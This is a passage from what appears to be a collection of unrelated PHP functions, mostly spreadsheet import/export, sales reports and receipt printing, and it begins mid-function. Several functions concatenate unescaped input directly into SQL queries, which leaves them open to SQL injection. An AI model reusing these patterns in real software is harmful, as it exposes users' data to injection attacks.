each num_rows row_col\n\t\t\t\t\t\t/***************** end expend **********************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}//end each column_key\n\t\t\t\t\t}//end each !empty column_key\n\t\t\t\t\t//if(file_exist($this->config->item(\"pbms_upload_dir\").$file_name)) {\n\t\t\t\t\t\t//echo $this->config->item(\"pbms_upload_dir\").$file_name;\n\t\t\t\t\t\t//unlink($this->config->item(\"pbms_upload_dir\").$file_name);\n\t\t\t\t\t//}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//splitDateFormTH($pay_date)\n\t\t\t\t\tarray_push($arr_data,array(\n\t\t\t\t\t\t\t\t\"arr_bill_no\" => $pay_bill_no,\n\t\t\t\t\t\t\t\t\"arr_date\" => $pay_date,\n\t\t\t\t\t\t\t\t\"arr_amount\" => $pay_amount,\n\t\t\t\t\t\t\t\t\"arr_receiver\" => $pay_receiver\n\t\t\t\t\t));\n\t\t\t\t}//end each row\n\t\t\t\t$this->data[\"section_txt\"] = \"ข้อมูลการชำระเงิน\";\t\n\t\t\t\t$this->data[\"rs_data\"] = $arr_data;\t\n\t\t\t\t$this->output(\"Payment/v_import_preview\", $this->data);\n\t\t\t\t\n\t\t\t}//end Checking file\n\t\t}//end isset file\n\t\t\n\t}", "public function InscribirSoporteRefrigerio($numInsercion,$lin_inf, $conexion,$idTablaGeneral) { \n header(\"Content-Type: text/html;charset=utf-8\"); \n $IdUsuario = $_SESSION['idUsuario']; \n $registro = explode(\";\", $lin_inf);\n \n $sql = \"CALL SPAGREGARCARGAMASIVADETALLESR($idTablaGeneral,'$registro[0]');\";\n $resultado=1;\n $rs=null;\n $array=\"\";\n $conexion->getPDO()->query(\"SET NAMES 'utf8'\");\n $inserto = 0;\n if ($rs = $conexion->getPDO()->query($sql)) {\n if ($filas = $rs->fetchAll(PDO::FETCH_ASSOC)) {\n foreach ($filas as $fila) {\n $array = $fila['pIdTabla'];\n }\n }\n } \n return $array;\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function mostrarInfo()\n {\n // $datos.= \"Cuatrimestre\".$this->cuatrimestre;\n // return parent::mostrarInfo().\" \".$datos;\n }", "function escreveArquivo($aux_nome, $aux_tel, $aux_cpf, $aux_rg){\n\n $pessoa = new Individuo();\n\n /**\n * Para evitar que o usuario fique recarregando a pagina\n */\n \n $pessoa->setNome($aux_nome);\n if($pessoa->getNome() == '' || $pessoa->getNome() == null){\n session_destroy();\n die(\"Falha\");\n }\n /**\n * Gravando os dados\n */\n $pessoa->setTelefone($aux_tel);\n $pessoa->setCPF($aux_cpf);\n $pessoa->setRg($aux_rg);\n\n $dados = fopen(\"/home/mateus/Arquivos/dados_individual.csv\", \"a+\") or die(\"Failed\"); \n $conteudo = '';\n $conteudo = fread($dados, 1);\n\n if($conteudo == ''){\n escreveCabecalho($dados);\n }\n \n fwrite($dados, $pessoa->getNome());\n fwrite($dados, \",\");\n fwrite($dados, $pessoa->getTelefone());\n fwrite($dados, \",\");\n fwrite($dados, $pessoa->getCPF());\n fwrite($dados, \",\");\n fwrite($dados, $pessoa->getRg());\n fwrite($dados, \"\\n\");\n\n\n fclose($dados);\n }", "public function readExcel() {\n $config['upload_path'] = \"./uploads/\";\n $config['allowed_types'] = 'xlsx|xls';\n $config['max_size'] = '25000';\n $config['file_name'] = 'BUDGET-' . date('YmdHis');\n\n $this->load->library('upload', $config);\n\n\n if ($this->upload->do_upload(\"namafile\")) {\n $data = $this->upload->data();\n $file = './uploads/' . $data['file_name'];\n\n //load the excel library\n $this->load->library('excel/phpexcel');\n //read file from path\n $objPHPExcel = PHPExcel_IOFactory::load($file);\n //get only the Cell Collection\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n //extract to a PHP readable array format\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n //header will/should be in row 1 only. of course this can be modified to suit your need.\n if ($row == 1) {\n $header[$row][$column] = $data_value;\n } else {\n $arr_data[$row][$column] = $data_value;\n }\n }\n // BudgetCOA, Year, BranchID, BisUnitID, DivisionID, BudgetValue, CreateDate, CreateBy, BudgetOwnID, BudgetUsed, Status, Is_trash\n $data = '';\n $flag = 1;\n $date = date('Y-m-d');\n $by = $this->session->userdata('user_id');\n\n foreach ($arr_data as $key => $value) {\n if (!empty($value[\"F\"]) && $value[\"F\"] != \"-\" && $value[\"F\"] != \"\" && !empty($value[\"A\"])) {\n $this->Budget_mdl->simpan($value[\"A\"], $value[\"B\"], $value[\"D\"], $value[\"E\"], $value[\"F\"]);\n }\n }\n\n // $this->Budget_mdl->simpanData($data);\t\n } else {\n $this->session->set_flashdata('msg', $this->upload->display_errors());\n }\n echo json_encode(TRUE);\n }", "function get_control_salida_extra_list_xls($id='',$id_sucursal='',$tipo='',$status='', $id_por_sucursal='', $rango='',$placa='',\t\t$id_transportista='',$id_empresa='' ){\n\t\t$sQuery=\"SELECT \n\t\t\t\t\tcontrol_salida_extra.*,\n\t\t\t\t\ttransportista.id as t_id, transportista.nombre as t_nombre , transportista.apellido as t_apellido\n\t\t\t\tFROM control_salida_extra\n\t\t\t\t\tInner Join transportista ON control_salida_extra.id_transportista = transportista.id\n\t\t\t\tWHERE 1 = 1 \";\n\t\tif($id) {\t$sQuery.=\"AND control_salida_extra.id = '$id' \";\t}\n\t\tif($id_sucursal) {\t$sQuery.=\"AND control_salida_extra.id_sucursal = '$id_sucursal' \";\t}\n\t\tif($tipo)\t{\t$sQuery.=\"AND control_salida_extra.tipo = '$tipo' \";\t}\n\t\tif($status)\t{\t$sQuery.=\"AND control_salida_extra.status = '$status' \";\t}\n\t\tif($id_por_sucursal) {\t$sQuery.=\"AND control_salida_extra.id_por_sucursal = '$id_por_sucursal' \";\t}\n\t\tif($rango)\t{\t$sQuery.=$rango;\t}\n\t\tif($placa) {\t$sQuery.=\"AND control_salida_extra.placa = '$placa' \";\t}\n\t\tif($id_transportista) {\t$sQuery.=\"AND control_salida_extra.id_transportista = '$id_transportista' \";\t}\n\t\tif($id_empresa) {\t$sQuery.=\"AND control_salida_extra.id_empresa = '$id_empresa' \";\t}\n\t\t\n\t\t$sQuery.=\"ORDER BY id_por_sucursal DESC \";\n\t//echo $sQuery.'<br>';\n\t\t$result=mssql_query($sQuery) or die(mssql_min_error_severity());\n\t\t$i=0;\n\t\twhile($row=mssql_fetch_array($result)){\n\t\t\tforeach($row as $key=>$value){\n\t\t\t\t$res_array[$i][$key]=$value;\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\t\treturn($res_array);\n\t\t\t\n\t}", "public function excel()\n {\n Excel::create('ReporteExcel', function($excel) {\n $excel->sheet('EdadGenero', function($sheet) {\n $usersinfo = User::select(DB::raw(\"users.cc as Cedula_Ciudadania, users.lastname as Apellidos, users.name as Nombres, users.email as Email, users.cellphone as Celular, users.department as DepartamentoNac, users.city as CiudadNac, users.created_at as FechaRegistro\"))->get();\n $sheet->fromArray($usersinfo);\n });\n })->export('xls');\n\n }", "function imprimir_voucher_estacionamiento($numero,$chofer,$patente,$horainicio,$horatermino,$montototal,$comentario,$correlativopapel,$cliente,$fecha_termino,$fecha_inicio_2){\ntry {\n // Enter the share name for your USB printer here\n //$connector = null; \n //$connector = new WindowsPrintConnector(\"EPSON TM-T81 Receipt\");\n $connector = new WindowsPrintConnector(\"EPSON TM-T20 Receipt\");\n // $connector = new WindowsPrintConnector(\"doPDF 8\");\n /* Print a \"Hello world\" receipt\" */\n $printer = new Printer($connector);\n\n \n $date=new DateTime();\n $fecha = $date->format('d-m-Y');\n\n\n $Chofer = $chofer;\n $Patente = $patente;\n $serie = $numero;\n $img = EscposImage::load(\"logo1.png\");\n $printer -> graphics($img);\n \n \n $printer -> text(\"Numero : $serie\\n\");\n $printer -> text(\"Chofer : $Chofer\\n\");\n $printer -> text(\"Patente: $Patente\\n\");\n\n if ($cliente != 0) {\n include_once(\"conexion.php\");\n $con = new DB;\n $buscarpersona = $con->conectar();\n $strConsulta = \"select * from cliente where rut_cliente ='$cliente'\";\n $buscarpersona = mysql_query($strConsulta);\n $numfilas = mysql_num_rows($buscarpersona);\n $row = mysql_fetch_assoc($buscarpersona);\n $nombre_cliente = $row['nombre_cliente'];\n //var_dump($numfilas);\n if($numfilas >= 1){\n $printer -> text(\"Cliente: $nombre_cliente\\n\");\n }\n \n }\n \n if ($correlativopapel != 0) {\n $printer -> text(\"\\nCorrelativo : $correlativopapel\\n\");\n }\n $printer -> text(\"Fecha Inicio : $fecha_inicio_2\\n\");\n $printer -> text(\"Hora de inicio : $horainicio\\n\");\n\n\n\n if ($horatermino != 0) {\n $printer -> text(\"Fecha de Termino: $fecha_termino\\n\");\n $printer -> text(\"Hora de Termino : $horatermino\\n\"); \n }\n \n \n if ($montototal != 0) {\n $printer -> text('Monto total : $'.$montototal);\n }\n \n if ($horatermino != 0) {\n $printer -> text(\"\\n\");\n $printer -> text(\"\\n\\n\");\n $printer -> text(\"Firma: _________________\\n\");\n \n }\n $printer -> text(\"$comentario\\n\");\n $printer -> cut();\n /* Close printer */\n $printer -> close();\n\n echo \"<div class='alert alert-success'><strong>Impresion Correcta $comentario</strong></div>\";\n} catch (Exception $e) {\n echo \"No se pudo imprimir \" . $e -> getMessage() . \"\\n\";\n}\n}", "function section_details($objPHPExcel,$school_code,$log,$type=false,$batch,$row=1,$col=0){\n\techo PHP_EOL,\"Sheet 5 Called \",PHP_EOL;\n\t$log->lwrite('Section Details ( Sheet 5 ) Called');\n\t\n\t//$arg=array('SchoolCode'=>$school_code);\n\t\n\t$arg=array('school_code'=>$school_code,'ayid'=>'3');\n\t$migrationConnection= new SONBMongoConnectionClass('upload_details');//print_r($mongoConnection);\t\n\t$find=$migrationConnection->findALL($arg);\n\t$uploadID=array();\n\t//$schoolCode=NUll;\n\t\n\tforeach($find as $id){\n\t\t//$schoolCode=$id['school_code'];\n\t\t$uploadID[]=$id['UploadID'];\n\t}\n\t\n\t\n\t$mongoConnection= new SONBMongoConnectionClass('school_boarding_detail');\n\t//$find=$mongoConnection->findALL($arg);\n\t\n\t\n\t$find=$mongoConnection->_connection->aggregateCursor(array( \n array( '$match' => array(\"SchoolCode\" => $school_code ,'UploadID'=>array('$in'=>$uploadID),'SectionCode' => array('$ne'=> null))),\n\tarray('$group'=>array('_id'=>array('ClassLevel'=>'$ClassLevel','ClassName'=>'$ClassName','Section'=>'$Section','SectionCode'=>'$SectionCode','SectionGroupCode'=>'$SectionGroupCode')))));\n\t\n//print_r($find);die\t;\n/*foreach($find as $finds){\nprint_r($finds['_id']);die;\n}*/\n\n\n\n\t\n\t//print_R($result);die;\n\t\n\n\t$objSheet = $objPHPExcel->getActiveSheet();\t\n\t$objSheet = $objPHPExcel->createSheet();\n\t\n\t$objSheet->getColumnDimension('A')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('B')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('C')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('D')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('E')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('F')->setAutoSize(TRUE);\n\t$objSheet->getStyle(\"A\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"B\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"C\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"D\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"E\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"F\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n $objSheet->setCellValueByColumnAndRow($col, $row, 'SectionMatch');$col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'ClassLevel'); $col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'ClassName'); $col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'Section'); $col++;\n\t$objSheet->setCellValueByColumnAndRow($col, $row, 'SectionCode'); $col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'SectionGroupCode'); $col++;\n \n\t\t\n\t$row++;\n\t//$row++;\n foreach($find as $mongofetch){ //print_r($mongofetch);die;\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\t$col =0;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['ClassLevel'].$mongofetch['_id']['Section']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['ClassLevel']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['ClassName']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['Section']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['SectionCode']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['SectionGroupCode']); $col++;\n\t\t\t$row++;\n\t\t\n \n } \n //echo $row.\"<br/>\";\n \n \n \n $objSheet->setTitle('SectionDetails');\n\t\n\treturn $objSheet;\n}", "public function InscribirSoporteFirma($numInsercion,$lin_inf, $conexion,$idTablaGeneral) { \n header(\"Content-Type: text/html;charset=utf-8\"); \n $IdUsuario = $_SESSION['idUsuario']; \n $registro = explode(\";\", $lin_inf);\n \n $sql = \"CALL SPAGREGARCARGAMASIVADETALLESF($idTablaGeneral,'$registro[0]');\";\n $resultado=1;\n $rs=null;\n $array=\"\";\n $conexion->getPDO()->query(\"SET NAMES 'utf8'\");\n $inserto = 0;\n if ($rs = $conexion->getPDO()->query($sql)) {\n if ($filas = $rs->fetchAll(PDO::FETCH_ASSOC)) {\n foreach ($filas as $fila) {\n $array = $fila['pIdTabla'];\n }\n }else{\n $array=\"error\";\n }\n } else{\n\n $array=\"error\";\n }\n return $array;\n }", "function fTraeAuxiliar($pTip, $pCod){\n global $db, $cla, $olEsq;\n $slDato= substr($olEsq->par_Clave,4,2);\n if ($slDato == \"CL\") { // el movimiento se asocia al Cliente\n $iAuxi = $cla->codProv;\n }\n else {\n $iAuxi = NZ(fDBValor($db, \"fistablassri\", \"tab_txtData3\", \"tab_codTabla = '\" . $pTip . \"' AND tab_codigo = '\" . $pCod . \"'\" ),0);\n }\n//echo \"<br>aux\" . $olEsq->par_Clave. \" / \" .$slDato . \" $iAuxi <br>\";\n error_log(\" aux: \" . $iAuxi. \" \\n\", 3,\"/tmp/dimm_log.err\");\t\n return $iAuxi;\n}", "public function ctrDescargarReporte(){\n\n\t\tif(isset($_GET[\"reporte\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\tif(isset($_GET[\"fechaInicial\"]) && isset($_GET[\"fechaFinal\"])){\n\n\t\t\t\t$ventas = ModeloVentas::mdlRangoFechasVentas($tabla, $_GET[\"fechaInicial\"], $_GET[\"fechaFinal\"]);\n\n\t\t\t}else{\n\n\t\t\t\t$item = null;\n\t\t\t\t$valor = null;\n\n\t\t\t\t$ventas = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t}\n\n\n\t\t\t/*=============================================\n\t\t\tCREAMOS EL ARCHIVO DE EXCEL\n\t\t\t=============================================*/\n\n\t\t\t$Name = $_GET[\"reporte\"].'.xls';\n\n\t\t\theader('Expires: 0');\n\t\t\theader('Cache-control: private');\n\t\t\theader(\"Content-type: application/vnd.ms-excel\"); // Archivo de Excel\n\t\t\theader(\"Cache-Control: cache, must-revalidate\"); \n\t\t\theader('Content-Description: File Transfer');\n\t\t\theader('Last-Modified: '.date('D, d M Y H:i:s'));\n\t\t\theader(\"Pragma: public\"); \n\t\t\theader('Content-Disposition:; filename=\"'.$Name.'\"');\n\t\t\theader(\"Content-Transfer-Encoding: binary\");\n\n\t\t\techo utf8_decode(\"<table border='0'> \n\n\t\t\t\t\t<tr> \n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CÓDIGO</td> \n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CLIENTE</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>VENDEDOR</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>CANTIDAD</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>PRODUCTOS</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>IMPUESTO</td>\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>NETO</td>\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>TOTAL</td>\t\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>METODO DE PAGO</td\t\n\t\t\t\t\t<td style='font-weight:bold; border:1px solid #eee;'>FECHA</td>\t\t\n\t\t\t\t\t</tr>\");\n\n\t\t\tforeach ($ventas as $row => $item){\n\n\t\t\t\t$cliente = ControladorClientes::ctrMostrarClientes(\"id\", $item[\"id_cliente\"]);\n\t\t\t\t$vendedor = ControladorUsuarios::ctrMostrarUsuarios(\"id\", $item[\"id_vendedor\"]);\n\n\t\t\t echo utf8_decode(\"<tr>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$item[\"codigo\"].\"</td> \n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$cliente[\"nombre\"].\"</td>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\".$vendedor[\"nombre\"].\"</td>\n\t\t\t \t\t\t<td style='border:1px solid #eee;'>\");\n\n\t\t\t \t$productos = json_decode($item[\"productos\"], true);\n\n\t\t\t \tforeach ($productos as $key => $valueProductos) {\n\t\t\t \t\t\t\n\t\t\t \t\t\techo utf8_decode($valueProductos[\"cantidad\"].\"<br>\");\n\t\t\t \t\t}\n\n\t\t\t \techo utf8_decode(\"</td><td style='border:1px solid #eee;'>\");\t\n\n\t\t \t\tforeach ($productos as $key => $valueProductos) {\n\t\t\t \t\t\t\n\t\t \t\t\techo utf8_decode($valueProductos[\"descripcion\"].\"<br>\");\n\t\t \t\t\n\t\t \t\t}\n\n\t\t \t\techo utf8_decode(\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>$ \".number_format($item[\"impuesto\"],2).\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>$ \".number_format($item[\"neto\"],2).\"</td>\t\n\t\t\t\t\t<td style='border:1px solid #eee;'>$ \".number_format($item[\"total\"],2).\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>\".$item[\"metodo_pago\"].\"</td>\n\t\t\t\t\t<td style='border:1px solid #eee;'>\".substr($item[\"fecha\"],0,10).\"</td>\t\t\n\t\t \t\t\t</tr>\");\n\n\n\t\t\t}\n\n\n\t\t\techo \"</table>\";\n\n\t\t}\n\n\t}", "function importar_archivo_sigepp(){\n if ($this->input->post()) {\n $post = $this->input->post();\n \n $tipo = $_FILES['archivo']['type'];\n $tamanio = $_FILES['archivo']['size'];\n $archivotmp = $_FILES['archivo']['tmp_name'];\n\n $filename = $_FILES[\"archivo\"][\"name\"];\n $file_basename = substr($filename, 0, strripos($filename, '.'));\n $file_ext = substr($filename, strripos($filename, '.'));\n $allowed_file_types = array('.csv');\n\n if (in_array($file_ext, $allowed_file_types) && ($tamanio < 90000000)) {\n \n /*--------------------------------------------------------------*/\n $i=0;\n $nro=0;$nroo=0;\n $lineas = file($archivotmp);\n foreach ($lineas as $linea_num => $linea){ \n if($i != 0){ \n\n $datos = explode(\";\",$linea);\n //echo count($datos).\"<br>\";\n if(count($datos)==7){\n\n $da=$datos[0]; /// Da\n $ue=$datos[1]; /// Ue\n $prog=$datos[2]; /// Aper Programa\n $proy=trim($datos[3]);\n if(strlen($proy)==2){\n $proy='00'.$proy; /// Aper Proyecto\n }\n $act=trim($datos[4]); /// Aper Actividad\n if(strlen($act)==2){\n 